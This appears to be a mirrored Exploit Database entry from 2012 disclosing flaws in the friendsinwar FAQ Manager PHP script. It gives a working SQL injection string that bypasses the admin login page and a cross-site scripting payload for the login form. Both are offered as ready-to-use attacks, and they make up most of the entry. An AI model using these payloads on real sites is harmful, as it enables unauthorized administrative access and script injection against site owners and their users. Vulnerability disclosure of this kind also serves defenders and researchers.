friendsinwar FAQ Manager – SQL Injection / Authentication Bypass

• Exploit Database
• 7 阅读

• 作者： d3b4g
  日期： 2012-11-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22710/

• # Exploit Title: friendsinwar FAQ Manager SQL Injection (authbypass) Vulnerability
  # Date: 13.10.201
  # Exploit Author: d3b4g
  # Vendor Homepage: http://www.friendsinwar.com
  # Software Link: http://www.friendsinwar.com/script_demo/the_faq_manager/
  # Tested on: Windows 7
  # Blog: d3b4g.me
  
  
   
  
  ----------------------------------------------------------------------------------
   () SQL Injection :
  
  
   http://localhost/path/the_faq_manager/admin/login.php
  
   + Use following information to bypass login.
  
   
  User:admin
   
  ' or ' 1=1
  
  
  () Cross Site Scripting:
  
   XSS in loging form, insert follwing JS code to loging follwing. 
  
   '"()&%1<ScRiPt >prompt(952226)</ScRiPt>
  
   
  
  
  
  
  
  -end-